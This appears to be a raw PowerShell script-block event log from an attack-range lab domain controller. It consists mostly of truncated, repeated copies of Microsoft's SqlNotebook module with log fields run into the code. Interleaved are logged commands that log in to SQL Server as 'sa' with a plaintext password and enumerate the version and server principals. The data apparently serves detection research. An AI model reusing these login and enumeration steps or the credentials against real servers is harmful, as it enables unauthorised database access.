$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
$SqlQueryExecutionTime = Measure-Command {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUseDeclaredVarsMoreThanAssignments", "SqlQueryResult", Justification="Suppressing false warning.")]
$SqlQueryResult = @( Invoke-Sqlcmd @DatabaseQueryHashTable -ErrorAction SilentlyContinue 4>&1)
}
# Setting the Notebook Cell Execution Count to increase count of each code cell
# Note: handle the case where the 'execution_count' property is missing.
if (-not ($_ | Get-Member execution_count)) {
$_ | Add-Member -Name execution_count -Value $null -MemberType NoteProperty
}
$_.execution_count = $cellExecutionCount++
$NotebookCellTableOutputs = @()
<#
Iterating over the results by Invoke-Sqlcmd
There are 2 types of errors:
1. Verbose Output: Print Statements:
Thes053da745-b753-4e7d-9114-e34630094456C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0504454Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Authentication test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT SYSTEM_USER AS CurrentUser' -TrustServerCertificate2a5e3d46-1c02-4a57-a224-f868cefb7714
4104152150x0504252Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
$SqlQueryExecutionTime = Measure-Command {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUseDeclaredVarsMoreThanAssignments", "SqlQueryResult", Justification="Suppressing false warning.")]
$SqlQueryResult = @( Invoke-Sqlcmd @DatabaseQueryHashTable -ErrorAction SilentlyContinue 4>&1)
}
# Setting the Notebook Cell Execution Count to increase count of each code cell
# Note: handle the case where the 'execution_count' property is missing.
if (-not ($_ | Get-Member execution_count)) {
$_ | Add-Member -Name execution_count -Value $null -MemberType NoteProperty
}
$_.execution_count = $cellExecutionCount++
$NotebookCellTableOutputs = @()
<#
Iterating over the results by Invoke-Sqlcmd
There are 2 types of errors:
1. Verbose Output: Print Statements:
These needs to be added to the beginning of the cell outputs
2. Datatables from the database
These needs to be added to the end of cell outputs
#>
$SqlQueryResult | ForEach-Object {
if ($_ -is [System.Management.Automation.VerboseRecord]) {
# Adding the print statments to the cell outputs
$NotebookCellOutputs += $(ParseStringToNotebookOutput($_.Message))
} elseif ($_ -is [System.Data.DataTable]) {
# Storing the print Tables into an array to be added later to the cell output
$NotebookCellTableOutputs += $(ParseTableToNotebookOutput $_ $CellExecutionCount)
} elseif ($_ -is [System.Data.DataRow]) {
# Storing the print row into an array to be added later to the cell output
$NotebookCellTableOutputs += $(ParseTableToNotebookOutput $_.Table $CellExecutionCount)
}
}
if ($SqlQueryError) {
# Adding the parsed query error from Invoke-Sqlcmd
$NotebookCellOutputs += $(ParseQueryErrorToNotebookOutput($SqlQueryError))
}
if ($SqlQueryExecutionTime) {
# Adding the parsed execution time from Measure-Command
$NotebookCellExcutionTimeString = "Total execution time: " + $SqlQueryExecutionTime.ToString()
$NotebookCellOutputs += $(ParseStringToNotebookOutput($NotebookCellExcutionTimeString))
}
# Adding the data tables
$NotebookCellOutputs += $NotebookCellTableOutputs
# In the unlikely case the 'outputs' property is missing from the JSON
# object, we add i6605161f-7515-45ae-9560-39c05451b817C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0504246Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Basic version query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT @@version' -TrustServerCertificate267c0104-7ab7-4ad5-b92e-0341faadab36
4104152150x0504008Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential000215ea-5b79-4b61-8c35-c5c425b46f7cC:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0504002Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: System principals query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, type_desc FROM sys.server_principals' -TrustServerCertificate83997bcc-65d4-4930-8341-46b517af6199
4104152150x0503801Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
